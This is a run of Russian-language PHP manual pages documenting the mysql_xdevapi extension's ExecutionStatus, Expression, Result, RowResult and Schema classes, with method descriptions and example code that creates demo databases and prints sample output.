<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$result_sql = $session->sql("CREATE DATABASE addressbook")->execute();

var_dump($result_sql);

$schema = $session->getSchema("addressbook");
$collection = $schema->createCollection("humans");

$result_collection = $collection->add(
'{"name": "Jane",
"jobs": [{"title":"Scientist","Salary":18000}, {"title":"Mother","Salary":0}],
"hobbies": ["Walking","Making pies"]}');

$result_collection_executed = $result_collection->execute();

var_dump($result_collection);
var_dump($result_collection_executed);
?>

Результатом выполнения данного примера будет что-то подобное:

object(mysql_xdevapi\SqlStatementResult)#3 (0) {
}

object(mysql_xdevapi\CollectionAdd)#5 (0) {
}

object(mysql_xdevapi\Result)#7 (0) {
}

User Contributed Notes

There are no user contributed notes for this page.


Класс ExecutionStatus

(PECL mysql-xdevapi >= 8.0.11)

Введение

Обзор классов

class mysql_xdevapi\ExecutionStatus {
/* Свойства */
public $affectedItems;
public $matchedItems;
public $foundItems;
public $lastInsertId;
public $lastDocumentId;
/* Constructor */
private __construct()
}

Свойства

affectedItems

matchedItems

foundItems

lastInsertId

lastDocumentId

Содержание

  • ExecutionStatus::__construct — Конструктор класса ExecutionStatus

User Contributed Notes

There are no user contributed notes for this page.


Конструктор класса ExecutionStatus

  • « mysql_xdevapi\ExecutionStatus
  • mysql_xdevapi\Expression »
  • PHP Manual
  • mysql_xdevapi\ExecutionStatus
  • Конструктор класса ExecutionStatus

ExecutionStatus::__construct

(Информация о версии неизвестна, возможно, только в Git)

ExecutionStatus::__construct — Конструктор класса ExecutionStatus

Описание

private mysql_xdevapi\ExecutionStatus::__construct()

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Примеры

Пример #1 Пример использования mysql_xdevapi\ExecutionStatus::__construct()

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


Класс Expression

(PECL mysql-xdevapi >= 8.0.11)

Введение

Обзор классов

class mysql_xdevapi\Expression {
/* Свойства */
public $name;
/* Конструктор */
public __construct(string $expression)
}

Свойства

name

Содержание

  • Expression::__construct — Конструктор класса Expression

User Contributed Notes

There are no user contributed notes for this page.


Конструктор класса Expression

  • « mysql_xdevapi\Expression
  • mysql_xdevapi\Result »
  • PHP Manual
  • mysql_xdevapi\Expression
  • Конструктор класса Expression

Expression::__construct

(Информация о версии неизвестна, возможно, только в Git)

Expression::__construct — Конструктор класса Expression

Описание

public mysql_xdevapi\Expression::__construct(string $expression)

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

expression

Примеры

Пример #1 Пример использования mysql_xdevapi\Expression::__construct()

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


Класс Result

(PECL mysql-xdevapi >= 8.0.11)

Введение

Обзор классов

class mysql_xdevapi\Result implements mysql_xdevapi\BaseResult, Traversable {
/* Методы */
public getAffectedItemsCount(): int
public getAutoIncrementValue(): int
public getGeneratedIds(): array
public getWarnings(): array
public getWarningsCount(): int
}

Содержание

  • Result::__construct — Конструктор класса Result
  • Result::getAffectedItemsCount — Получает количество затронутых строк
  • Result::getAutoIncrementValue — Получает значение автоинкремента
  • Result::getGeneratedIds — Получает сгенерированные идентификаторы
  • Result::getWarnings — Получает предупреждения последней операции
  • Result::getWarningsCount — Получает количество предупреждений последней операции

User Contributed Notes

There are no user contributed notes for this page.


Конструктор класса Result

  • « mysql_xdevapi\Result
  • Result::getAffectedItemsCount »
  • PHP Manual
  • mysql_xdevapi\Result
  • Конструктор класса Result

Result::__construct

(Информация о версии неизвестна, возможно, только в Git)

Result::__construct — Конструктор класса Result

Описание

private mysql_xdevapi\Result::__construct()

Объект, который извлекает сгенерированные идентификаторы, значения AUTO_INCREMENT и предупреждения для набора Result.

Список параметров

У этой функции нет параметров.

Примеры

Пример #1 Пример использования mysql_xdevapi\Result::__construct()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();
$session->sql("
CREATE TABLE addressbook.names
(id INT NOT NULL AUTO_INCREMENT, name VARCHAR(30), age INT, PRIMARY KEY (id))
")->execute();

$schema = $session->getSchema("addressbook");
$table = $schema->getTable("names");

$result = $table->insert("name", "age")->values(["Suzanne", 31],["Julie", 43])->execute();
$result = $table->insert("name", "age")->values(["Suki", 34])->execute();

$ai = $result->getAutoIncrementValue();
var_dump($ai);
?>

Результат выполнения данного примера:

int(3)

User Contributed Notes

There are no user contributed notes for this page.


Получает количество затронутых строк

  • « Result::__construct
  • Result::getAutoIncrementValue »
  • PHP Manual
  • mysql_xdevapi\Result
  • Получает количество затронутых строк

Result::getAffectedItemsCount

(Информация о версии неизвестна, возможно, только в Git)

Result::getAffectedItemsCount — Получает количество затронутых строк

Описание

public mysql_xdevapi\Result::getAffectedItemsCount(): int

Получает количество строк, затронутых предыдущей операцией.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Количество (как целое число) затронутых строк.

Примеры

Пример #1 Пример использования mysql_xdevapi\Result::getAffectedItemsCount()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$create = $schema->createCollection("people");

$collection = $schema->getCollection("people");

$result = $collection->add('{"name": "Wilma", "age": 23, "job": "Teacher"}')->execute();

var_dump( $res->getAffectedItemsCount() );
?>

Результат выполнения данного примера:

int(1)

User Contributed Notes

There are no user contributed notes for this page.


Получает значение автоинкремента

  • « Result::getAffectedItemsCount
  • Result::getGeneratedIds »
  • PHP Manual
  • mysql_xdevapi\Result
  • Получает значение автоинкремента

Result::getAutoIncrementValue

(Информация о версии неизвестна, возможно, только в Git)

Result::getAutoIncrementValue — Получает значение автоинкремента

Описание

public mysql_xdevapi\Result::getAutoIncrementValue(): int

Получает последнее значение AUTO_INCREMENT (идентификатор последней вставки).

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Значение AUTO_INCREMENT.

Примеры

Пример #1 Пример использования mysql_xdevapi\Result::getAutoIncrementValue()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();
$session->sql("
CREATE TABLE addressbook.names
(id INT NOT NULL AUTO_INCREMENT, name VARCHAR(30), age INT, PRIMARY KEY (id))
")->execute();

$schema = $session->getSchema("addressbook");
$table = $schema->getTable("names");

$result = $table->insert("name", "age")->values(["Suzanne", 31],["Julie", 43])->execute();
$result = $table->insert("name", "age")->values(["Suki", 34])->execute();

$ai = $result->getAutoIncrementValue();
var_dump($ai);
?>

Результат выполнения данного примера:

int(3)

User Contributed Notes

There are no user contributed notes for this page.


Получает сгенерированные идентификаторы

  • « Result::getAutoIncrementValue
  • Result::getWarnings »
  • PHP Manual
  • mysql_xdevapi\Result
  • Получает сгенерированные идентификаторы

Result::getGeneratedIds

(Информация о версии неизвестна, возможно, только в Git)

Result::getGeneratedIds — Получает сгенерированные идентификаторы

Описание

public mysql_xdevapi\Result::getGeneratedIds(): array

Получает сгенерированные значения _id из последней операции. Уникальное поле _id генерируется сервером MySQL.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Массив сгенерированных _id из последней операции или пустой массив, если таковых нет.

Примеры

Пример #1 Пример использования mysql_xdevapi\Result::getGeneratedIds()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$create = $schema->createCollection("people");

$collection = $schema->getCollection("people");

$result = $collection->add(
'{"name": "Bernie",
"jobs": [{"title":"Cat Herder","Salary":42000}, {"title":"Father","Salary":0}],
"hobbies": ["Sports","Making cupcakes"]}',
'{"name": "Jane",
"jobs": [{"title":"Scientist","Salary":18000}, {"title":"Mother","Salary":0}],
"hobbies": ["Walking","Making pies"]}')->execute();

$ids = $result->getGeneratedIds();
var_dump($ids);
?>

Результатом выполнения данного примера будет что-то подобное:

array(2) {
  [0]=>
  string(28) "00005b6b53610000000000000064"
  [1]=>
  string(28) "00005b6b53610000000000000065"
}

User Contributed Notes

There are no user contributed notes for this page.


Получает предупреждения последней операции

  • « Result::getGeneratedIds
  • Result::getWarningsCount »
  • PHP Manual
  • mysql_xdevapi\Result
  • Получает предупреждения последней операции

Result::getWarnings

(Информация о версии неизвестна, возможно, только в Git)

Result::getWarnings — Получает предупреждения последней операции

Описание

public mysql_xdevapi\Result::getWarnings(): array

Получает предупреждения последней операции Result.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Массив объектов Warning последней операции. Каждый объект определяет 'message' об ошибке, 'level' ошибки и 'code' ошибки. Возвращается пустой массив, если ошибок нет.

Примеры

Пример #1 Пример использования mysql_xdevapi\RowResult::getWarnings()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("CREATE DATABASE foo")->execute();
$session->sql("CREATE TABLE foo.test_table(x int)")->execute();

$schema = $session->getSchema("foo");
$table = $schema->getTable("test_table");

$table->insert(['x'])->values([1])->values([2])->execute();

$res = $table->select(['x/0 as bad_x'])->execute();
$warnings = $res->getWarnings();

print_r($warnings);
?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [0] => mysql_xdevapi\Warning Object
        (
            [message] => Division by 0
            [level] => 2
            [code] => 1365
        )
    [1] => mysql_xdevapi\Warning Object
        (
            [message] => Division by 0
            [level] => 2
            [code] => 1365
        )
)

User Contributed Notes

There are no user contributed notes for this page.


Получает количество предупреждений последней операции

  • « Result::getWarnings
  • mysql_xdevapi\RowResult »
  • PHP Manual
  • mysql_xdevapi\Result
  • Получает количество предупреждений последней операции

Result::getWarningsCount

(Информация о версии неизвестна, возможно, только в Git)

Result::getWarningsCount — Получает количество предупреждений последней операции

Описание

public mysql_xdevapi\Result::getWarningsCount(): int

Получает количество предупреждений последней операции Result.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Количество предупреждений, сгенерированных последней операцией.

Примеры

Пример #1 Пример использования mysql_xdevapi\RowResult::getWarningsCount()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS foo")->execute();
$session->sql("CREATE DATABASE foo")->execute();
$session->sql("CREATE TABLE foo.test_table(x int)")->execute();

$schema = $session->getSchema("foo");
$table = $schema->getTable("test_table");

$table->insert(['x'])->values([1])->values([2])->execute();

$res = $table->select(['x/0 as bad_x'])->execute();

echo $res->getWarningsCount();
?>

Результатом выполнения данного примера будет что-то подобное:

2

User Contributed Notes

There are no user contributed notes for this page.


Класс RowResult

(PECL mysql-xdevapi >= 8.0.11)

Введение

Обзор классов

class mysql_xdevapi\RowResult implements mysql_xdevapi\BaseResult, Traversable {
/* Методы */
public fetchAll(): array
public fetchOne(): array
public getColumnsCount(): int
public getColumnNames(): array
public getColumns(): array
public getWarnings(): array
public getWarningsCount(): int
}

Содержание

  • RowResult::__construct — Конструктор класса RowResult
  • RowResult::fetchAll — Получает все строки из результата
  • RowResult::fetchOne — Получает строку из результата
  • RowResult::getColumnsCount — Получает количество столбцов
  • RowResult::getColumnNames — Получает все имена столбцов
  • RowResult::getColumns — Получает метаданные столбца
  • RowResult::getWarnings — Получает предупреждения последней операции
  • RowResult::getWarningsCount — Получает количество предупреждений последней операции

User Contributed Notes

There are no user contributed notes for this page.


Конструктор класса RowResult

  • « mysql_xdevapi\RowResult
  • RowResult::fetchAll »
  • PHP Manual
  • mysql_xdevapi\RowResult
  • Конструктор класса RowResult

RowResult::__construct

(Информация о версии неизвестна, возможно, только в Git)

RowResult::__construct — Конструктор класса RowResult

Описание

private mysql_xdevapi\RowResult::__construct()

Представляет набор результатов, полученный при обращении к базе данных.

Список параметров

У этой функции нет параметров.

Примеры

Пример #1 Пример использования mysql_xdevapi\RowResult::__construct()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$schema = $session->getSchema("addressbook");
$table = $schema->getTable("names");

$row = $table->select('name', 'age')->where('age > 18')->execute()->fetchAll();

print_r($row);

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [0] => Array
        (
            [name] => John
            [age] => 42
        )
    [1] => Array
        (
            [name] => Sam
            [age] => 33
        )
)

User Contributed Notes

There are no user contributed notes for this page.


Получает все строки из результата

  • « RowResult::__construct
  • RowResult::fetchOne »
  • PHP Manual
  • mysql_xdevapi\RowResult
  • Получает все строки из результата

RowResult::fetchAll

(Информация о версии неизвестна, возможно, только в Git)

RowResult::fetchAll — Получает все строки из результата

Описание

public mysql_xdevapi\RowResult::fetchAll(): array

Извлекает все строки из набора результатов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Числовой массив со всеми результатами запроса; каждый результат представляет собой ассоциативный массив. Возвращается пустой массив, если строк нет.

Примеры

Пример #1 Пример использования mysql_xdevapi\RowResult::fetchAll()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();
$session->sql("CREATE TABLE addressbook.names(name text, age int)")->execute();
$session->sql("INSERT INTO addressbook.names values ('John', 42), ('Sam', 33)")->execute();

$schema = $session->getSchema("addressbook");
$table = $schema->getTable("names");

$row = $table->select('name', 'age')->execute()->fetchAll();

print_r($row);

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [0] => Array
        (
            [name] => John
            [age] => 42
        )
    [1] => Array
        (
            [name] => Sam
            [age] => 33
        )
)

User Contributed Notes

There are no user contributed notes for this page.


Получает строку из результата

  • « RowResult::fetchAll
  • RowResult::getColumnsCount »
  • PHP Manual
  • mysql_xdevapi\RowResult
  • Получает строку из результата

RowResult::fetchOne

(Информация о версии неизвестна, возможно, только в Git)

RowResult::fetchOne — Получает строку из результата

Описание

public mysql_xdevapi\RowResult::fetchOne(): array

Извлекает один результат из набора результатов.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Результат в виде ассоциативного массива или null, если нет результатов.

Примеры

Пример #1 Пример использования mysql_xdevapi\RowResult::fetchOne()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();
$session->sql("CREATE TABLE addressbook.names(name text, age int)")->execute();
$session->sql("INSERT INTO addressbook.names values ('John', 42), ('Sam', 33)")->execute();

$schema = $session->getSchema("addressbook");
$table = $schema->getTable("names");

$row = $table->select('name', 'age')->where('age < 40')->execute()->fetchOne();

print_r($row);

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [name] => Sam
    [age] => 33
)

User Contributed Notes

There are no user contributed notes for this page.


Получает количество столбцов

  • « RowResult::fetchOne
  • RowResult::getColumnNames »
  • PHP Manual
  • mysql_xdevapi\RowResult
  • Получает количество столбцов

RowResult::getColumnsCount

(Информация о версии неизвестна, возможно, только в Git)

RowResult::getColumnsCount — Получает количество столбцов

Описание

public mysql_xdevapi\RowResult::getColumnsCount(): int

Получает количество столбцов, присутствующих в наборе результатов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Количество столбцов; 0 если их нет

Список изменений

Версия | Описание
8.0.14 | Метод переименован из getColumnCount() в getColumnsCount().

Примеры

Пример #1 Пример использования mysql_xdevapi\RowResult::getColumnsCount()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE addressbook")->execute();
$session->sql("CREATE DATABASE foo")->execute();
$session->sql("CREATE TABLE foo.test_table(x int)")->execute();
$session->sql("INSERT INTO addressbook.names values ('John', 42), ('Sam', 33)")->execute();

$sql = $session->sql("SELECT * from addressbook.names")->execute();

echo $sql->getColumnsCount();

Результатом выполнения данного примера будет что-то подобное:

2

User Contributed Notes

There are no user contributed notes for this page.


Получает все имена столбцов

  • « RowResult::getColumnsCount
  • RowResult::getColumns »
  • PHP Manual
  • mysql_xdevapi\RowResult
  • Получает все имена столбцов

RowResult::getColumnNames

(Информация о версии неизвестна, возможно, только в Git)

RowResult::getColumnNames — Получает все имена столбцов

Описание

public mysql_xdevapi\RowResult::getColumnNames(): array

Получает имена столбцов, присутствующих в наборе результатов.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Числовой массив имён столбцов таблицы или пустой массив, если набор результатов пуст.

Примеры

Пример #1 Пример использования mysql_xdevapi\RowResult::getColumnNames()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE addressbook")->execute();
$session->sql("CREATE DATABASE foo")->execute();
$session->sql("CREATE TABLE foo.test_table(x int)")->execute();
$session->sql("INSERT INTO addressbook.names values ('John', 42), ('Sam', 33)")->execute();

$sql = $session->sql("SELECT * from addressbook.names")->execute();

$colnames = $sql->getColumnNames();

print_r($colnames);

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [0] => name
    [1] => age
)

User Contributed Notes

There are no user contributed notes for this page.


Получает метаданные столбца

  • « RowResult::getColumnNames
  • RowResult::getWarnings »
  • PHP Manual
  • mysql_xdevapi\RowResult
  • Получает метаданные столбца

RowResult::getColumns

(Информация о версии неизвестна, возможно, только в Git)

RowResult::getColumns — Получает метаданные столбца

Описание

public mysql_xdevapi\RowResult::getColumns(): array

Получает метаданные столбцов, присутствующих в наборе результатов.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Массив объектов FieldMetadata, представляющих столбцы в результате, или пустой массив, если набор результатов пуст.

Примеры

Пример #1 Пример использования mysql_xdevapi\RowResult::getColumns()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE addressbook")->execute();
$session->sql("CREATE DATABASE foo")->execute();
$session->sql("CREATE TABLE foo.test_table(x int)")->execute();
$session->sql("INSERT INTO addressbook.names values ('John', 42), ('Sam', 33)")->execute();

$sql = $session->sql("SELECT * from addressbook.names")->execute();

$cols = $sql->getColumns();

print_r($cols);

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [0] => mysql_xdevapi\FieldMetadata Object
        (
            [type] => 7
            [type_name] => BYTES
            [name] => name
            [original_name] => name
            [table] => names
            [original_table] => names
            [schema] => addressbook
            [catalog] => def
            [collation] => 255
            [fractional_digits] => 0
            [length] => 65535
            [flags] => 0
            [content_type] => 0
        )
    [1] => mysql_xdevapi\FieldMetadata Object
        (
            [type] => 1
            [type_name] => SINT
            [name] => age
            [original_name] => age
            [table] => names
            [original_table] => names
            [schema] => addressbook
            [catalog] => def
            [collation] => 0
            [fractional_digits] => 0
            [length] => 11
            [flags] => 0
            [content_type] => 0
        )
)

User Contributed Notes

There are no user contributed notes for this page.


Получает предупреждения последней операции

  • « RowResult::getColumns
  • RowResult::getWarningsCount »
  • PHP Manual
  • mysql_xdevapi\RowResult
  • Получает предупреждения последней операции

RowResult::getWarnings

(Информация о версии неизвестна, возможно, только в Git)

RowResult::getWarnings — Получает предупреждения последней операции

Описание

public mysql_xdevapi\RowResult::getWarnings(): array

Получает предупреждения от последней операции RowResult.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Массив объектов Warning последней операции. Каждый объект определяет 'message' об ошибке, 'level' ошибки и 'code' ошибки. Возвращается пустой массив, если ошибок нет.

Примеры

Пример #1 Пример использования mysql_xdevapi\RowResult::getWarnings()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("CREATE DATABASE foo")->execute();
$session->sql("CREATE TABLE foo.test_table(x int)")->execute();

$schema = $session->getSchema("foo");
$table = $schema->getTable("test_table");

$table->insert(['x'])->values([1])->values([2])->execute();

$res = $table->select(['x/0 as bad_x'])->execute();
$warnings = $res->getWarnings();

print_r($warnings);
?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [0] => mysql_xdevapi\Warning Object
        (
            [message] => Division by 0
            [level] => 2
            [code] => 1365
        )
    [1] => mysql_xdevapi\Warning Object
        (
            [message] => Division by 0
            [level] => 2
            [code] => 1365
        )
)

User Contributed Notes

There are no user contributed notes for this page.


Получает количество предупреждений последней операции

  • « RowResult::getWarnings
  • mysql_xdevapi\Schema »
  • PHP Manual
  • mysql_xdevapi\RowResult
  • Получает количество предупреждений последней операции

RowResult::getWarningsCount

(Информация о версии неизвестна, возможно, только в Git)

RowResult::getWarningsCount — Получает количество предупреждений последней операции

Описание

public mysql_xdevapi\RowResult::getWarningsCount(): int

Получает количество предупреждений последней операции RowResult.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Количество предупреждений, сгенерированных последней операцией.

Примеры

Пример #1 Пример использования mysql_xdevapi\RowResult::getWarningsCount()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS foo")->execute();
$session->sql("CREATE DATABASE foo")->execute();
$session->sql("CREATE TABLE foo.test_table(x int)")->execute();

$schema = $session->getSchema("foo");
$table = $schema->getTable("test_table");

$table->insert(['x'])->values([1])->values([2])->execute();

$res = $table->select(['x/0 as bad_x'])->execute();

echo $res->getWarningsCount();
?>

Результатом выполнения данного примера будет что-то подобное:

2

User Contributed Notes

There are no user contributed notes for this page.


Класс Schema

(PECL mysql-xdevapi >= 8.0.11)

Введение

Обзор классов

class mysql_xdevapi\Schema implements mysql_xdevapi\DatabaseObject {
/* Свойства */
public $name;
/* Методы */
public createCollection(string $name, string $validate = ?): mysql_xdevapi\Collection
public dropCollection(string $collection_name): bool
public existsInDatabase(): bool
public getCollection(string $name): mysql_xdevapi\Collection
public getCollectionAsTable(string $name): mysql_xdevapi\Table
public getCollections(): array
public getName(): string
public getSession(): mysql_xdevapi\Session
public getTable(string $name): mysql_xdevapi\Table
public getTables(): array
}

Свойства

name

Содержание

  • Schema::__construct — Конструктор
  • Schema::createCollection — Добавить коллекцию в схему
  • Schema::dropCollection — Удалить коллекции из схемы
  • Schema::existsInDatabase — Проверить, существует ли в базе данных
  • Schema::getCollection — Получить коллекцию из схемы
  • Schema::getCollectionAsTable — Получить объект таблицы коллекции
  • Schema::getCollections — Получить все коллекции схемы
  • Schema::getName — Получить имя схемы
  • Schema::getSession — Получить сессию схемы
  • Schema::getTable — Получить таблицу схемы
  • Schema::getTables — Получить таблицы схемы

User Contributed Notes

There are no user contributed notes for this page.


Конструктор

  • « mysql_xdevapi\Schema
  • Schema::createCollection »
  • PHP Manual
  • mysql_xdevapi\Schema
  • Конструктор

Schema::__construct

(Информация о версии неизвестна, возможно, только в Git)

Schema::__construct — Конструктор

Описание

private mysql_xdevapi\Schema::__construct()

Объект Schema предоставляет полный доступ к схеме (базе данных).

Список параметров

У этой функции нет параметров.

Примеры

Пример #1 Пример использования mysql_xdevapi\Schema::__construct()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS food")->execute();
$session->sql("CREATE DATABASE food")->execute();
$session->sql("CREATE TABLE food.fruit(name text, rating text)")->execute();

$schema = $session->getSchema("food");
$schema->createCollection("trees");

print_r($schema->gettables());
print_r($schema->getcollections());

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [fruit] => mysql_xdevapi\Table Object
        (
            [name] => fruit
        )
)
Array
(
    [trees] => mysql_xdevapi\Collection Object
        (
            [name] => trees
        )
)

User Contributed Notes

There are no user contributed notes for this page.


Добавить коллекцию в схему

  • « Schema::__construct
  • Schema::dropCollection »
  • PHP Manual
  • mysql_xdevapi\Schema
  • Добавить коллекцию в схему

Schema::createCollection

(Информация о версии неизвестна, возможно, только в Git)

Schema::createCollection — Добавить коллекцию в схему

Описание

public mysql_xdevapi\Schema::createCollection(string $name, string $validate = ?): mysql_xdevapi\Collection

Создать коллекцию внутри схемы.

Список параметров

name

Имя коллекции.

validate

Определение проверки в виде объекта JSON.

Возвращаемые значения

Объект коллекции.

Список изменений

Версия | Описание
8.0.20 | Добавлен необязательный параметр validate.

Примеры

Пример #1 Пример использования mysql_xdevapi\Schema::getCollection()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS food")->execute();
$session->sql("CREATE DATABASE food")->execute();
$session->sql("CREATE TABLE food.fruit(name text, rating text)")->execute();

$schema = $session->getSchema("food");
$schema->createCollection("trees");

print_r($schema->gettables());
print_r($schema->getcollections());

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [fruit] => mysql_xdevapi\Table Object
        (
            [name] => fruit
        )
)
Array
(
    [trees] => mysql_xdevapi\Collection Object
        (
            [name] => trees
        )
)

Пример #2 Пример использования Schema::createCollection с параметром validate

<?php
$collection = $schema->createCollection("mycollection", '{
"validation": {
"level": "strict",
"schema": {
"id": "http://json-schema.org/geo",
"description": "A geographical coordinate",
"type": "object",
"properties": {
"latitude": {
"type": "number"
},
"longitude": {
"type": "number"
}
},
"required": ["latitude", "longitude"]
}
}
}');
// Успешное выполнение
$collection->add('{"latitude": 10, "longitude": 20}')->execute();
// Ошибка, недопустимые типы (не числа)
$collection->add('{"latitude": "lat", "longitude": "long"}')->execute();

User Contributed Notes

There are no user contributed notes for this page.


Удалить коллекции из схемы

  • « Schema::createCollection
  • Schema::existsInDatabase »
  • PHP Manual
  • mysql_xdevapi\Schema
  • Удалить коллекции из схемы

Schema::dropCollection

(Информация о версии неизвестна, возможно, только в Git)

Schema::dropCollection — Удалить коллекции из схемы

Описание

public mysql_xdevapi\Schema::dropCollection(string $collection_name): bool

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

collection_name

Возвращаемые значения

Примеры

Пример #1 Пример использования mysql_xdevapi\Schema::getCollection()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS food")->execute();
$session->sql("CREATE DATABASE food")->execute();
$session->sql("CREATE TABLE food.fruit(name text, rating text)")->execute();

$schema = $session->getSchema("food");

$schema->createCollection("trees");
$schema->dropCollection("trees");
$schema->createCollection("buildings");

print_r($schema->gettables());
print_r($schema->getcollections());

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [fruit] => mysql_xdevapi\Table Object
        (
            [name] => fruit
        )
)
Array
(
    [buildings] => mysql_xdevapi\Collection Object
        (
            [name] => buildings
        )
)

User Contributed Notes

There are no user contributed notes for this page.


Проверить, существует ли в базе данных

  • « Schema::dropCollection
  • Schema::getCollection »
  • PHP Manual
  • mysql_xdevapi\Schema
  • Проверить, существует ли в базе данных

Schema::existsInDatabase

(Информация о версии неизвестна, возможно, только в Git)

Schema::existsInDatabase — Проверить, существует ли в базе данных

Описание

public mysql_xdevapi\Schema::existsInDatabase(): bool

Проверяет, существует ли текущий объект (схема, таблица, коллекция или представление) в объекте схемы.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true, если схема, таблица, коллекция или представление всё ещё существуют в схеме, в противном случае возвращает false.

Примеры

Пример #1 Пример использования mysql_xdevapi\Schema::getCollection()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS food")->execute();
$session->sql("CREATE DATABASE food")->execute();
$session->sql("CREATE TABLE food.fruit(name text, rating text)")->execute();

$schema = $session->getSchema("food");
$schema->createCollection("trees");

// ...

$trees = $schema->getCollection("trees");

// ...

// Эта коллекция всё ещё находится в базе данных (схеме)?
if ($trees->existsInDatabase()) {
echo "Да, коллекция 'trees' всё ещё существует.";
}

Результатом выполнения данного примера будет что-то подобное:

Да, коллекция 'trees' всё ещё существует.

User Contributed Notes

There are no user contributed notes for this page.


Получить коллекцию из схемы

  • « Schema::existsInDatabase
  • Schema::getCollectionAsTable »
  • PHP Manual
  • mysql_xdevapi\Schema
  • Получить коллекцию из схемы

Schema::getCollection

(Информация о версии неизвестна, возможно, только в Git)

Schema::getCollection — Получить коллекцию из схемы

Описание

public mysql_xdevapi\Schema::getCollection(string $name): mysql_xdevapi\Collection

Получить коллекцию из схемы.

Список параметров

name

Имя коллекции для извлечения.

Возвращаемые значения

Объект Collection для выбранной коллекции.

Примеры

Пример #1 Пример использования mysql_xdevapi\Schema::getCollection()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS food")->execute();
$session->sql("CREATE DATABASE food")->execute();

$schema = $session->getSchema("food");
$schema->createCollection("trees");

// ...

$trees = $schema->getCollection("trees");

var_dump($trees);

Результатом выполнения данного примера будет что-то подобное:

object(mysql_xdevapi\Collection)#3 (1) {
  ["name"]=>
  string(5) "trees"
}

User Contributed Notes

There are no user contributed notes for this page.


Получить объект таблицы коллекции

  • « Schema::getCollection
  • Schema::getCollections »
  • PHP Manual
  • mysql_xdevapi\Schema
  • Получить объект таблицы коллекции

Schema::getCollectionAsTable

(Информация о версии неизвестна, возможно, только в Git)

Schema::getCollectionAsTable — Получить объект таблицы коллекции

Описание

public mysql_xdevapi\Schema::getCollectionAsTable(string $name): mysql_xdevapi\Table

Получить коллекцию, но как объект Table вместо объекта Collection.

Список параметров

name

Имя коллекции, из которой создаётся экземпляр объекта Table.

Возвращаемые значения

Объект таблицы для коллекции.

Примеры

Пример #1 Пример использования mysql_xdevapi\Schema::getCollectionAsTable()

<?php
